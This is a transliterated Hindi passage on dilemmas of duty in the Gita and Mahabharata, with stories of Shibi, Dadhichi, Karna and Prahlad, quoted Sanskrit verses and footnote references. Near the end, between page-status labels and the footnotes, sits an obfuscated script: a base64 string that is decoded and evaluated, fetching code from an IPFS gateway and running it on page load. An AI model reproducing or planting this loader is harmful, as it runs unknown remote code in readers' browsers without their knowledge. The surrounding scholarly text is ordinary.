isi lie manu ne kaha hai ki atmanan satatan raksheth darairapi dhanairapi – arthat; stri aur sampatti ki apeksha hamako pahale svayan apani hi raksha karani chahie[51]. yadyapi manushy–deh durlabh aur nashavan bhi hai, tathapi jab usaka nash karake usase bhi adhik kisi shashvat vastu ki prapti kar leni hoti hai (jaise desh, dharm aur saty ke lie apani pratijna, vrat aur virad ki raksha ke lie evan ijzat, kirti aur sarvabhoot–hit ke lie) tab, aise samay par anek mahatmaoan ne is tivr karttavyagni mean anand se apane pranoan ki bhi ahuti de di hai. jab raja dilip apane guru vasishth ki gay ki raksha karane ke lie, sianh ko apane sharir ka balidan dene ko taiyar ho gaya, tab vah sianh se bola ki 'hamare saman purushoan ki is panchabhautik sharir ke vishay mean anavastha rahati hai, atev too mere is j d sharir ke badale mere yash roopi sharir ki or dhyan de'[52]. kathasarit–sagar aur naganand natak mean yah varnan hai ki sarpoan ki raksha karane ke lie jimootavahan ne garu d ko svayan apana sharir arpan kar diya. mrichchhakatik natak mean charoodatt kahata haiah–

n bhito maranadasmi kevalan dooshitan yashah.
vishuddhasy hi me mrityuah putrajanmasamah kilan..[53]

'maian mrityu se nahian darata; mujhe yahi duahkh hai ki meri kirti kalankit ho gee. yadi kirti shuddh rahe aur mrityu bhi a jae, to maian usako putr ke utsav ke saman manooanga.' isi tattv ke adhar par mahabharat mean raja shibi aur dadhichi rrishi ki kathaoan ka varnan kiya hai[54]. jab dharmaraj shyen pakshi ka roop dharan karake, kapot ke pichhe u de aur jab vah kapot apani raksha ke lie raja shibi ki sharan mean gaya tab raja ne svayan apane sharir ka maans katakar us shyen pakshi ko de diya aur sharanagat kapot ki raksha ki. vrittasur nam ka devataoan ka ek shatru tha. usako marane ke lie dadhichi rrishi ki haddiyoan ke vajr ki avashyakata huee. tab sab devata milakar ukt rrishi ke pas ge aur bole shariratyagan lokahitarth bhavanh kartumarhati – he maharaj! logoan ke kalyan ke lie ap deh ka tyag kijie. yah vinati sun dadhichi rrishi ne b de anand se apana sharir tyag diya aur apani haddiyaan devataoan ko de dian.

ek samay ki bat hai ki indr, brahman ka roop dharan karake danashoor karn ke pas kavach aur kundal maangane ae. karn in kavach–kundaloan ko pahane hue hi janma tha. jab soory ne jana ki indr kavach–kundal maangane ja raha hai, tab usane pahale hi se karn ko soochana de di thi ki tum apane kavach–kundal kisi ko dan mat dena. yah soochana dete samay soory ne karn se kaha ki 'isamean sandeh nahian hai ki too b da dani hai, parantu yadi too apane kavach–kundal dan mean de dega to tere jivan hi ki hani ho jaegi. isalie too inhean kisi ko n dena. mar jane par kirti ka kya upayog hai? – mritasy kirtya kian karyamh. yah sunakar karn ne spasht uttar diya ki jivitenapi me rakshya kirtistadviddhi me vratamh – arthat; jan chali jae to bhi kuchh paravah nahian. parantu apani kirti ki raksha karana hi mera vrat hai[55]. saraansh yah hai ki 'yadi mar jaega to svarg ki prapti hogi aur jit jaega to prithvi ka rajy milega' ityadi kshatr–dharm[56] aur 'svadharme nidhanan shreyah'[57] yah siddhaant ukt tattv par hi avalanbit hai. isi tattv ke anusar shri samarth ramadas svami kahate haian 'kirti ki or dekhane se sukh nahian hai aur sukh ki or dekhane se kirti nahian milati[58]; aur ve upadesh bhi karate haian ki 'he sajjan man! aisa kam karo jisase marane par kirti bani rahe.'

yahaan prashn ho sakata hai ki yadyapi paropakar se kirti hoti hai tathapi mrityu ke bad kirti ka kya upayog hai? athava kisi sabhy manushy ko apakirti ki apeksha mar jana[59]; ya zianda rahane se paropakar karana adhik priy kyoan hona chahie? is prashn ka uchit uttar dene ke lie atm–anatm vichar mean pravesh karana hoga. aur isi ke sath karm–akarm shastr ka bhi vichar karake yah jan lena hoga ki kis mauke par jan dene ke lie taiyar hona uchit ya anuchit hai. yadi is bat ka vichar nahian kiya jaega to jan dene se yash ki prapti to door hi rahi, parantu moorkhata se atmahatya karane ka pap matthe chadh jaega.

mata, pita, guru adi vandaniy aur poojaniy purushoan ki pooja tatha shushrusha karana bhi sarvamany dharmoan mean se ek pradhan dharm samajha jata hai. yadi aisa n ho to kutuanb, gurukul aur sare samaj ki vyavastha thik–thik kabhi rah n sakegi. yahi karan hai ki sirf smriti–granthoan hi mean nahian, kiantu upanishadoan mean bhi 'satyan vad, dharman char’' kaha gaya hai. aur jab shishy ka adhyayan poora ho jata aur vah apane ghar jane lagata, tab pratyek guru ka yahi guru ka yahi upadesh hota tha ki 'matri devo bhav pitri devo bhav,achary devo bhav'[60]. mahabharat ke brahman–vyadh akhyan ka tatpary bhi yahi hai[61]. parantu is dharm mean bhi kabhi–kabhi akalpit badha kh di ho jati hai. dekhie, manu ji kahate haian–

upadhyayandashacharyah acharyanaan shatan pita.
sahastran tu pitrinmata gauravenatirichyate..[62]

'das upadhyayoan se achary aur sau acharyoan se pita evan hazar pitaoan se mata ka gaurav adhik hai.' itana hone par bhi yah katha prasiddh hai ki parashuram ki mata ne kuchh aparadh kiya tha, isalie usane apane pita ki ajna se apani mata ko mar dala[63]. mahabharat ke shaantiparv ke chirakarikopakhyan mean anek sadhak–badhak pramanoan sahit is bat ka vistrit vivechan kiya gaya hai ki pita ki ajna se mata ka vadh karana shreyaskar hai ya pita ki ajna ka bhang karana shreyaskar hai[64].

isase spasht mana jata hai ki mahabharat ke samay aise sookshm prasangoan ki nitishastr ki drishti se charcha karane ki paddhati jari thi. yah bat chhotoan se lekar b doan tak sab logoan ko maloom hai ki pita ki pratijna ko saty karane ke lie pita ki ajna se ramachandr ne chaudah varsh tak vanavas kiya, parantu mata ke sambandh mean jo nyay oopar kaha gaya hai, vahi pita ke sambandh mean bhi upayukt hone ke samay kabhi–kabhi a sakata hai. jaise ki man lijie, koee l daka apane parakram se raja ho gaya aur usaka pita aparadhi hokar iansaph ke lie usake samane laya gaya. is avastha mean vah l daka kya kare?–raja ke nate se apane aparadhi pita ko dand de ya usako apana pita samajhakar chho d de? manu ji kahate haian:

pitacharyah suhrinmata bharya putrah purohitah.
nadandayo nam rajnoasti yah svadharme n tishthati..

'pita, achary, mitr, mata, stri, putr aur purohit – inamean se koee bhi yadi apane dharm ke anusar n chale to vah raja ke lie adandy nahian ho sakata; arthath raja usako uchit dand de'[65]. is jagah putr dharm ki yogyata se rajadharm ki yogyata adhik hai. is bat ka udaharan yah hai ki soory vansh ke maha–parakrami sagar raja ne asamanjas namak apane l dake ko desh se nikal diya tha; kyoanki vah duracharani tha aur praja ko duahkh diya karata tha[66].

manusmriti mean bhi yah katha hai ki aangiras namak ek rrishi ko chhoti avastha mean hi bahut jnan ho gaya tha; isalie usake kaka–mama adi b de boodhe natidar usake pas adhyayan karane lag ge the. ek din path padhate–padhate aangiras ne kaha 'putraka iti hovach jnanen parigrihy tanh.' bas, yah sunakar sab vriddhajan krodh se lal ho ge aur kahane lage ki yah l daka mast ho gaya hai! usako uchit dand dilane ke lie un logoan ne devataoan se shikayat ki. devataoan ne donoan or ka kahana sun liya aur yah nirnay liya ki 'aangiras ne jo kuchh tumhean kaha, vahi nyay hai.' isaka karan yah hai kiah–

n ten vriddho bhavati yenasy palitan shirah.
yo vai yuvapyadhiyanastan devaah sthaviran viduah..

'sir ke bal safed ho jane se hi koee manushy vriddh nahian kaha ja sakata; devagan usi ko vriddh kahate haian jo taroon hone par bhi jnanavan ho'[67]. yah tattv manu ji aur vyas ji hi ko nahian, kiantu buddh ko bhi many tha, kyoanki manusmriti ke is shlok ka pahala charan ‘dhammapad’[68] nam ke prasiddh nitivishayak pali bhasha ke bauddh granth mean aksharashah aya hai[69] aur usake age yah bhi kaha hai ki jo sirf avastha hi se vriddh ho gaya hai, usaka jina vyarth hai. yatharth mean dharmishth aur vriddh hone ke lie saty, ahiansa adi ki avashyakata hai. ‘chullavasa’ namak doosare granth[70] mean svayan buddh ki yah ajna hai ki yadyapi dharm ka niroopan karane vala bhikshu naya ho, tathapi vah ooanche asan par baithe aur un vayovriddh bhikshuoan ko bhi upadesh kare jinhoanne usake pahale diksha paee ho.

yah katha sab log janate haian ki prahlad ne apane pita hiranyakashipu ki avajna karake bhagavat prapti kaise kar li thi. isase yah jan p data hai ki jab kabhi kabhi pita–putr ke sarvamany nate se bhi koee doosara adhik b da sambandh upasthit hota hai, tab utane samay ke lie niroopar ho kar pita–putr ka nata bhool jana p data hai. parantu aise avasar ke n hote hue bhi, yadi koee muanh–jo d l daka ukt niti ka avalanb karake, apane pita ko galiyaan dene lage, to vah keval pashu ke saman samajha jaega. pitamah bhishm ne yudhishthir se kaha hai ki gururgariyanh pitrito matritashcheti me matiah – arthat; guru to mata–pita se bhi adhik shreshth hai. parantu mahabharat hi mean yah bhi likha hai ki ek samay maroott raja ke guru ne lobhavash hokar svarth ke lie usaka tyag kiya tab maroott ne kahaah–

gururapyavaliptasy karyakaryamajanatah.
utpathapratipannasy nyayyan bhavati shasanamh..

'yadi koee guru is bat ka vichar n kare ki kya karana chahie aur kya nahian karana chahie, aur yadi vah apane hi ghamand mean rahakar tedhe raste se chale, to usaka shasan karana uchit hai.' ukt shlok mahabharat mean char sthanoan mean paya jata hai.[71] inamean se pahale sthan mean vahi path hai jo oopar diya gaya hai; any sthanoan mean chauthe charan ke badale 'dando bhavati shashvatah' athava 'parityago vidhiyate' yah pathaantar bhi hai. parantu valmiki–ramayan[72] mean jahaan yah shlok hai; vahaan aisa hi path hai jaisa oopar diya gaya hai. isalie hamane is granth mean usi ko svikar kiya hai. usi ke adhar par bhishm pitamah ne parashuram se aur arjun ne dronachary se yuddh kiya. aur jab prahlad ne dekha ki apane guru, jinhean hiranyakashipu ne niyat kiya hai, bhagavatprapti ke viruddh upadesh kar rahe haian; tab usane isi tattv ke anusar usaka nishedh kiya hai. shaantiparv mean svayan bhishm pitamah shrikrishna se kahate haian ki yadyapi guru log poojaniy haian tathapi unako bhi niti ki maryada ka avalanb karana chahie; nahian to–

samayatyagino lubdhanh gurunapi ch keshav.
nihanti samare papanh kshatriyah s hi dharmavith..

'he keshav! jo guru maryada, niti athava shishtachar ka bhang karate haian aur jo lobhi ya papi haian, unhean l daee mean marane vala kshatriy hi dharmajn kahalata hai'.[73] isi tarah taittiriyopanishad mean bhi pratham 'achary devo bhav' kahakar usi ke age kaha hai ki hamare jo karm achchhe hoan, unhian ka anukaran karo, auroan ka nahian, – yanyasmakan sucharitani. tani tvayopasyani, no itarani.[74] isase upanishadoan ka yah siddhant pragat hota hai ki yadyapi pita aur achary ko devata ke saman manana chahie, tathapi yadi ve sharab pite hoan to putr aur chhatr ko apane pita ya achary ka anukaran nahian karana chahie; kyoanki niti, maryada aur dharm ka adhikar maan–bap ya guru se bhi adhik balavan hota hai.

manu ji ki nimn ajna ka bhi yahi rahasy hai – 'dharm ki raksha karo; yadi koee dharm ka nash karega, arthath dharm ki ajna ke anusar acharan nahian karega, to vah us manushy ka nash kie bina nahian rahega'.[75] raja to guru se bhi adhik shreshth ek devata hai[76] parantu vah bhi is dharm se mukt nahian ho sakata; yadi vah is dharm ka tyag kar dega to usaka nash ho jaega; yah bat manusmriti mean kahi gee hai aur mahabharat mean vahi bhav, ven tatha khaninetr rajaoan ki katha mean vyakt kiya gaya hai.[77]

ahiansa, saty aur astey ke sath indriy–nigrah ki bhi ganana samany dharm mean ki jati hai.[78] kam, krodh, lobh adi manushy ke shatru haian, isalie jab tak manushy inako jit nahian lega, tab tak samaj ka kalyan nahian hoga. yah upadesh sab shastroan mean kiya gaya hai. vidur niti aur bhagavadgita mean bhi kaha haiah–

trividhan narakasyedan dvaran nashakamatmanah.
kamah krodhastatha lobhastasmadetath trayan tyajeth..

'kam, krodh aur lobh ye tinoan hi narak ke dvar haian. inase hamara nash hota hai, isalie inaka tyag karana chahie'.[79] parantu gita hi mean bhagavan shrikrishna ne apane svaroop ka yah varnan kiya hai dharmaviruddho bhooteshu kamoasmi bharatarshabh – he arjun! pranimatr mean jo ‘kam’ dharm ke anukool hai vahi maian hooan.[80] isase yah bat siddh hoti hai ki jo 'kam’ dharm ke viruddh hai, vahi narak ka dvar hai, usake atirikt jo doosare prakar ka 'kam' hai arthath jo ki dharm ke anukool hai, vah eeshvar ko many hai.

manu ne bhi yahi kaha hai parityajedarthakamau yau syataan dharmavarjitau – jo arth aur kam, dharm ke viruddh hoan, unaka tyag kar dena chahie.[81] yadi sab prani kal se 'kam' ka tyag kar dean aur mrityuparyant brahmachary–vrat se rahane ka nishchay kar lean, to sau–pachas varsh hi mean sari sajiv srishti ka lay ho jaega aur jis srishti ki rachana ke lie bhagavan bar–bar avatar dharan karate haian, usaka alpakal hi mean uchchhed ho jaega.

yah bat sach hai ki kam aur krodh manushy ke shatru haian; parantu kab? jab ve anivary ho jaean tab. yah bat manu adi shastrakaroan ko sammat hai ki srishti ka kam jari rakhane ke lie uchit maryada ke bhitar kam aur krodh ki atyant avashyakata hai.[82] in prabal manovrittiyoan ka uchit riti se nigrah karana hi sab sudharoan ka pradhan uddeshy hai. unaka nash karana koee sudhar nahian kaha ja sakata; kyoanki bhagavat mean kaha gaya hai kiah–

loke vyavayamishamadyaseva nityasti jantornahi tatr chodana.
vyavasthitisteshu vivahayajnasuragrahairasu nivrittirishta..[83]

'is duniya mean kisi se yah kahana nahian p data hai ki tum maithun, maans aur madira ka sevan karo; ye batean manushy ko svabhav hi se pasand haian. in tinoan ki kuchh vyavastha kar dene ke lie arthat, inake upayog ko kuchh maryadit karake vyavasthit kar dene ke lie (shastrakaroan ne) anukram se vivah, somayag aur sautramani yajn ki yojana ki hai. parantu is par bhi nivritti arthath nishkam acharan isht hai.' yahaan yah bat dhyan mean rakhane yogy hai ki jab 'nivritti' shabd ka sambandh panchamyant pad ke sath hota hai tab usaka arth 'amuk vastu se nivritti arthath amuk kram ka sarvatha tyag' hua karata hai; to karm yog mean 'nivritti' visheshan karm hi ke lie upayukt hua hai, isalie 'nivritt karm' ka arth 'nishkam buddhi se kiya jane vala karm' hota hai. yahi arth manusmriti aur bhagavat puran mean spasht riti se paya jata hai.[84] krodh ke vishay mean kiratakavy mean[85] bharavi ka kathan hai kiah–

amarshashoonyen janasy jantuna n jataharden n vidvishadarah. 'jis manushy ko apamanit hone par bhi krodh nahian ata usaki mitrata aur dvesh donoan hi barabar haian.' kshatradharm ke anusar dekha jae to bidula ne yahi kaha hai kiah–

etavanev purusho yadamarshi yadakshami.
kshamavanniramarshashch naiv stri n punah pumanh..

'jis manushy ko (anyay par) krodh ata hai aur jo (apaman ko) sah nahian sakata, vahi purush kahalata hai. jis manushy mean krodh ya chidh nahian hai vah napuansak hi ke saman hai.'[86] is bat ka ullekh oopar kiya ja chuka hai ki is jagath ke vyavahar ke lie n to sada tez ya krodh hi upayogi hai aur n hi kshama. yahi bat lobh ke vishay mean bhi kahi ja sakati hai kyoanki sannyasi ko bhi moksh ki ichchha hoti hi hai.

vyas ji ne mahabharat mean anek sthanoan par bhinn–bhinn kathaoan ke dvara yah pratipadan kiya hai ki shoorata, dhairy, daya, shil, mitrata, samata adi sab sadgun, apane–apane viruddh gunoan ke atirikt deshakal adi se maryadit haian. yah nahian samajhana chahie ki koee ek hi sadgun sabhi samay shobha deta hai. bhartrihari ka kathan haiah–
vipadi dhairyamathabhyudaye kshama sadasi vakpatuta yudhi vikramah.

'sankat ke samay dhairy, abhyuday ke samay (arthath jab shasan karane ka samarthy ho tab) kshama, sabha mean vaktrita aur yuddh mean shoorata shobha deti hai.'[87] shaanti ke samay ‘uttar’ ke saman bak–bak karane vale purush kuchh kam nahian haian. ghar baithe–baithe apani stri ki nathani mean se tir chalane vale karmavir bahutere hoange; unamean se ranabhoomi par dhanurdhar kahalane vala ek–adh hi dekh p data hai! dhairy adi sadgun oopar likhe samay par hi shobha dete haian. itana hi nahian; kintu aise maukoan ke bina unaki sachchi pariksha bhi nahian hoti. sukh ke sathi to bahutere hue karate haian; parantu nikashagrava tu teshaan vipath – vipatti hi unaki pariksha ki sachchi kasauti hai. 'prasang' shabd hi mean deshakal ke atirikt patr adi batoan ka bhi samavesh ho jata hai.

samata se badhakar koee bhi gun shreshth nahian hai. bhagavadgita mean spasht riti se likha hai samah sarveshu bhooteshu – yahi siddh purushoan ka lakshan hai. parantu samata kahate kise haian? yadi koee manushy yogyata–ayogyata ka vichar n karake sab logoan ka saman dan karane lage to kya ham use achchha kaheange? is prashn ka nirnay bhagavadgita mean hi is prakar kiya gaya hai– deshe kale ch patre ch taddanan satvikan viduah– desh, kal aur patrata ka vichar kar jo dan kiya jata hai, vahi satvik kahalata hai.[88] kal ki maryada sirf vartaman kal ke lie hi nahian hoti. jyoan–jyoan samay badalata jata hai, tyoan–tyoan vyavaharik dharm mean bhi parivartan hota jata hai. isalie jab prachin samay ki kisi bat ki yogyata ya ayogyata ka nirnay karana ho, tab us samay ke dharm–adharm sanbandhi vishvas ka bhi avashy vichar karana p data hai. manu aur vyas kahate haian–

anye kritayuge dharmastretayaan dvapareapare.
anye kaliyuge nrinaan yugahasanuroopatah..

'yugaman ke anusar krit, treta, dvapar aur kali ke dharm bhi bhinn–bhinn hote haian.' manusmriti[89] mahabharat[90] mean yah katha hai ki prachin kal mean striyoan ke lie vivah ki maryada nahian thi, ve is vishay mean svatantr aur anavritt thian. parantu jab is acharan ka bura parinam dekh p da, tab shvetaketu ne vivah ki maryada sthapit kar di aur madirapan ka nishedh bhi pahale pahal shukrachary hi ne kiya. tatpary yah hai ki jis samay ye niyam jari nahian the, us samay ke dharm–adharm ka aur usake bad ke dharm–adharm ka nirnay bhinn–bhinn riti se kiya jana chahie. isi tarah yadi vartaman samay ka prachalit dharm age badal jae to usake sath bhavishy kal ke dharm–adharm ka vivechan bhi bhinn riti se kiya jaega. kalaman ke anusar deshachar, kulachar aur jatidharm ka bhi vichar karana p data hai, kyoanki achar hi sab dharmoan ki j d hai. tathapi acharoan mean bhi bahut bhinnata hua karati hai. pitamah bhishm kahate haian kiah–

n hi sarvahitah kashchidacharah sanpravartate.
tenaivanyah prabhavati soaparan badhate punah..

'aisa achar nahian milata jo hamesha sab logoan ko saman hitakarak ho. yadi kisi ek achar ko svikar kiya jae to doosara usase badhakar milata hai. yadi is doosare achar ko svikar kiya jae to vah tisare achar ka virodh karata haimanusmriti'[91] jab acharoan mean aisi bhinnata paee jae tab bhishm pitamah ke kathan ke anusar taratamy athava sar–asar drishti se vichar karana chahie.

karm–akarm ya dharm–adharm ke vishay mean sab sandehoan ka yadi nirnay karane lagean to doosara mahabharat hi likhana p dega. ukt vivechan se pathakoan ke dhyan mean yah bat a jaegi ki gita ke aranbh mean kshatradharm aur bandhuprem ke bich jhag da utpann ho jane se arjun par jo kathinaiyaan aeean, ve kuchh lok vilakshan nahian haian. is sansar mean aisi kathinaiyaan karyakarttaoan aur b de–b de adamiyoan par anekoan bar aya hi karati haian; aur jab aisi kathinaiyaan ati haian tab kabhi ahiansa aur atmaraksha ke bich, kabhi saty aur sarvabhootahit mean, kabhi sharir raksha aur kirti mean aur kabhi bhinn–bhinn natoan se upasthit hone vale karttavyoan mean jhag da hone lagata hai. shastrokt samany tatha sarvamany niti–niyamoan se kam nahian chalata aur unake lie anek apavad utpann ho jate haian. aise vikat samay par sadharan manushyoan se lekar b de–b de panditoan ko bhi yah janane ki svabhavik ichchha hoti hai ki kary–akary ki vyavastha; arthath karttavy–akarttavy dharm ka nirnay karane ke lie koee chirasthayi niyam athava mukti hai ya nahian.

yah bat sach hai ki shastroan mean durbhiksh jaise sankat ke samay 'apaddharm' kah kar kuchh suvidhaean di gee haian. udaharanarth, smritikaroan ne kaha hai ki yadi apatkal mean brahman kisi ka bhi ann grahan kar le to vah doshi nahian hota, aur ushastichakayan ke isi tarah bartav karane ki katha bhi chhaandogyopanishad[92] mean hai. parantu isamean aur ukt kathinaiyoan mean bahut bhed hai. durbhiksh jaise apatkal mean shastradharm aur bhookh, pyas adi indriyavrittiyoan ke bich mean hi jhag da hua karata hai. us samay hamako indriyaan ek or khiancha karati haian aur shastradharm doosari or khiancha karata hai. parantu jin kathinaiyoan ka varnan oopar kiya gaya hai, unamean se bahuteri aisi haian ki us samay indriy vrittiyoan ka aur shastr ka kuchh bhi virodh nahian ho to kintu aise–aise do dharmoan mean paraspar virodh utpann ho jata hai jinhean shastroan hi ne vihit kaha hai, aur phir us samay sookshm vichar karana p data hai ki kis bat ko svikar kiya jae. yadyapi koee manushy apani buddhi ke anusar inamean se kuchh batoan ka nirnay prachin satpurushoan ke aise hi samay par kie hue bartav se kar sakata hai; tathapi aise anek mauke haian ki jab b de–b de buddhimanoan ka bhi man chakkar mean p d jata hai. karan yah hai ki jitana adhik vichar kiya jata hai, utani hi adhik upapattiyaan aur tark utpann hote jate haian aur aantim nirnay asanbhav sa ho jata hai. jab uchit nirnay hone nahian pata, tab adharm ya aparadh ho jane ki bhi sanbhavana hoti hai.

is drishti se vichar karane par maloom hota hai ki dharm–adharm ya karm–akarm ka vivechan ek svatantr shastr hi hai jo nyay tatha vyakaran se bhi adhik gahan hai. prachin sanskrit granthoan mean 'nitishastr' shabd ka upayog prayah rajaniti–shastr hi ke vishay mean kiya gaya hai aur karttavy–akarttavy ke vivechan ko 'dharmashastr' kahate haian. parantu ajakal 'niti' shabd hi mean karttavy athava sadacharan ka bhi samavesh kiya jata hai. isalie hamane vartaman padyati ke anusar is granth mean dharm–adharm ya karm–akarm ke vivechan ko hi 'nitishastr' kaha hai. niti, karm–akarm ya dharm–adharm ke vivechan ka yah shastr b da gahan hai. yah bhav pragat karane ke lie sookshma gatirhian dharmasy – arthat; dharm ya vyavaharik niti–dharm ka svaroop sookshm hai, yah vachan mahabharat mean kee jagah par upayukt ho chuka hai. paanch paandavoan ne milakar akeli draupadi ke sath vivah kaise kiya? draupadi ke vastraharan ke samay bhishm, dron adi satpurush shoony hriday hokar chupachap kyoan baithe rahe?

dusht duryodhan ki or se yuddh karate samay bhishm aur dronachary ne apane paksh ka samarthan karane ke lie jo yah si़ddhant batalaya ki arthasy purusho dasah dasastvartho n kasyachith – purush arth (sampatti) ka das hai, arth kisi ka das nahian ho sakata[93], yah sach hai ya jhooth? yadi sevadharm ko kutte ki vritti ke saman nindaniy mana hai, jaise seva shvavrittirakhyata[94], to arth ke das ho jane ke badale bhishm adi ne duryodhan ki seva hi ka tyag kyoan nahian kar diya? inake saman aur bhi kee prashn hote haian jinaka nirnay karana bahut kathin hai, kyoanki inake vishay mean prasang ke anusar bhinn–bhinn manushyoan ke bhinn–bhinn anuman ya nirnay hua karate haian. yahi nahian samajhana chahie ki dharm ke tattv sirf sookshm hi haian –sookshma gatirhian dharmasy[95]; kintu mahabharat[96] mean yah bhi kaha hai ki bahushakha hyanantika – arthath; usaki shakhaean bhi anek haian aur usase nikalane vale anuman bhi bhinn bhinn haian. tuladhar aur jajali ke sanvad mean dharm ka vivechan karate samay tuladhar bhi yahi kahata hai ki sookshmatvann s vijnatuan shakyate bahunihnavah – arthat; dharm bahut sookshm aur chakkar mean dalane vala hota hai, isalie vah samajh mean nahian ata.[97]

mahabharatakar vyas ji in sookshm prasangoan ko achchhi tarah janate the. isalie unhoanne yah samajha dene ke uddeshy hi se apane dharm mean anek bhinn bhinn kathaoan ka sangrah kiya hai ki prachin samay ke satpurushoan ne aise kathin maukoan par kaisa bartav kiya tha. parantu shastr–padyati se sab vishayoan ka vivechan karake usaka samany rahasy mahabharat sarikhe dharmagranthoan mean kahian n kahian batala dena avashyak tha. is rahasy ya marm ka pratipadan arjun ki karttavy–moodhata ko door karane ke lie bhagavan shrikrishna ne pahale jo upadesh diya tha, usi ke adhar par vyas ji ne bhagavadgita mean kiya hai. isase 'gita' mahabharat ka rahasyopanishad aur shirobhooshan ho gee hai aur mahabharat gita ke pratipadan moolabhoot karmatatvoan ka udaharan sahit vistrit vyakhyan ho gaya hai.

is bat ki or un logoan ko avashy dhyan dena chahie, jo yah kaha karate haian ki mahabharat granth mean 'gita' pichhe se ghuse d di gee hai. ham to yahi samajhate haian ki yadi gita ki koee apoorvata ya visheshata hai to vah yahi hai ki jisaka ullekh oopar kiya gaya hai. karan yah hai ki yadyapi keval mokshashastr, arthath vedant ka pratipadan karane vale upanishad adi, tatha ahiansa adi sadachar ke sirf niyam batalane vale smriti adi, anek granth haian; tathapi vedant ke gahan tatvajnan ke adhar par 'karyakaryavyavasthiti' karane vala gita ke saman koee doosara prachin granth sanskrit sahity mean dekh nahian p data. gita bhaktoan ko yah batalane ki avashyakata nahian hai ki 'karyakaryavyavasthiti' shabd gita[98] hi mean prayukt hua hai, yah shabd hamari managadhant nahian hai. bhagavadgita ke hi saman yog vasishth mean hi vasishth muni ne shri ramachandr ji ko jnan–moolak pravritti marg ka hi upadesh kiya hai. parantu yah granth gita ke bad bana hai aur usamean gita ka hi anukaran kiya gaya hai. atev aise granthoan se gita ki us apoorvata ya visheshata mean, jo oopar kahi gee hai, koee badha nahian hoti.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ panditoan ko bhi is vishay mean moh ho jaya karata hai ki karm kaun–sa hai, aur akarm kaun–sa hai. is sthan par akarm shabd ko 'karm ke abhav' aur 'bure karm' donoan arthoan mean yathasambhav lena chahie.
  2. ↑ mahabharat, adiparv 2
  3. ↑ mahabharat, adiparv 62.53
  4. ↑ manusmriti 10.63
  5. ↑ mahabharat, adiparv 11.13
  6. ↑ manusmriti 8.350
  7. ↑ manusmriti 8.350, 5.31
  8. ↑ mahabharat, shantiparv, 337; anushasanaparv, 115.59
  9. ↑ mahabharat, shantiparv, 15.29
  10. ↑ bhagavat puran, 1.13.49
  11. ↑ manusmriti, 5.28; mahabharat, shantiparv, 15.21
  12. ↑ vedantasootr, 3.4.28; chhandogy upanishad, 5.2.1; brihadaranyakopanishad, 9.1.14
  13. ↑ mahabharat, vanaparv, 28.6, 8
  14. ↑ rrigved, 10.190.1
  15. ↑ rrigved, 10.85.1
  16. ↑ mahabharat, shantiparv, 162.24
  17. ↑ mahabharat, adiparv' 74.102
  18. ↑ manusmriti, 4.256
  19. ↑ manusmriti, 6.46
  20. ↑ taittiriyopanishad, 1.11.1
  21. ↑ mahabharat, anushasanaparv, 167.50
  22. ↑ manusmriti, 2.110; mahabharat, shaanntiparv, 287.34
  23. ↑ mahabharat, adiparv, 215.34
  24. ↑ mahabharat, karnaparv, 69.61
  25. ↑ mahabharat, shaantiparv, satyanrit adhyay, 109.15, 16
  26. ↑ mahabharat, shaantiparv, 329.13; 287.19
  27. ↑ mahabharat, vanaparv, 209.73
  28. ↑ mahabharat, vanaparv, 208.4
  29. ↑ manusmriti, 8.89–99; mahabharat, adiparv, 7.3
  30. ↑ yajnavalky smriti. 2.83; manusmriti. 8.104–106
  31. ↑ rom. 3.7
  32. ↑ Sidgwick’s Methods of Ethics, Book III. Chap. XI • 6.p.355 (7th Ed.). Also, see pp.315-317 (same Ed.).
  33. ↑ Mill’s Utilitarianism, Chap. II.pp.33-34 (15th Ed. Longmans 1907).
  34. ↑ Sidgwick’s Methods of Ethics, Book IV. Chap. III • 7.p.454(7th Ed.); and Book II. Chap. V. • 3p.169.
  35. ↑ Leslie Stephen’s Science of Ethics, Chap. IX • 29.p.369 (2nd Ed.). “And the certainty might be of such a kind as to make me think it a duty to lie.”
  36. ↑ Green’s Prolegomena to Ethics, • 315.p.379 (5th cheaper edition).
  37. ↑ Bain’s Mental and Moral Science, p.445 (Ed. 1875); and Whewell’s Elements of Morality, Book II. Chaps. XIII and XIV. (4th Ed. 1864).
  38. ↑ mahabharat, adiparv, 82.19; aur shantiparv, 109 tatha manusmriti, 8.110
  39. ↑ mahabharat, dron parv, 191.57, 58 tatha svargarohan parv, 3.15
  40. ↑ mahabharat, ashvamedh parv, 81.10
  41. ↑ mahabharat, anushasan parv, 144.19
  42. ↑ mahabharat, adi parv 103 tatha udyog parv 81.48
  43. ↑ nitishatak, 110
  44. ↑ mahabharat, karn parv, 69
  45. ↑ mahabharat, shaanti parv. 109
  46. ↑ mahabharat, shaanti parv, 141
  47. ↑ manu aur yajnavalky ne kaha hai ki kutta, bandar adi jin janavaroan ke paanch–paanch bakh hote haian unhian mean se kharagosh, kachhua, goh adi paanch prakar ke janavaroan ka maans bhakshy hai, (manusmriti. 5.18; yajnavalkyasmriti, 1.177). in paanch janavaroan ke atirikt manu ji ne 'khadg' arthath gean de ko bhi bhakshy mana hai. parantu tikakar ka kathan hai ki is vishay mean vikalp hai. is vikalp ko chho d dene par shesh paanch hi janavar rahate haian aur unhian ka maans bhakshy samajha gaya hai. 'panch panchanakha bhakshyaah' ka yahi arth hai; tathapi mimaansakoan ke matanusar is vyavastha ka bhavarth yahi hai ki jin logoan ko maans khane ki sammati di gee hai, ve ukt panchanakhi paanch janavaroan ke sivay aur kisi janavar ka maans n khaean. isaka bhavarth yah nahian hai ki in janavaroan ka maans khana hi chahie. is paribhashik arth ko ve log 'parisankhya' kahate haian. 'panch panchanakha bhakshyaah' isi parisankhya ka mukhy udaharan hai jabaki maans khana hi nishiddh mana gaya hai tab in paanch janavaroan ka maans khana bhi nishiddh hi samajha jana chahie. manusmriti. 5.18
  48. ↑ Hobbes’ Leviathan, Part II. Chap. XXVII. P.139 (Morley’s Universal Library Edition). Mill’s Utilitarianism, Chap. V.P.95. (15th Ed.) – “Thus, to save a life, it may not only be allowable but a duty to steal etc.”
  49. ↑ mahabharat. udyog parv, 132.15
  50. ↑ bhagavat puran 10.1.38; gita, 2.27
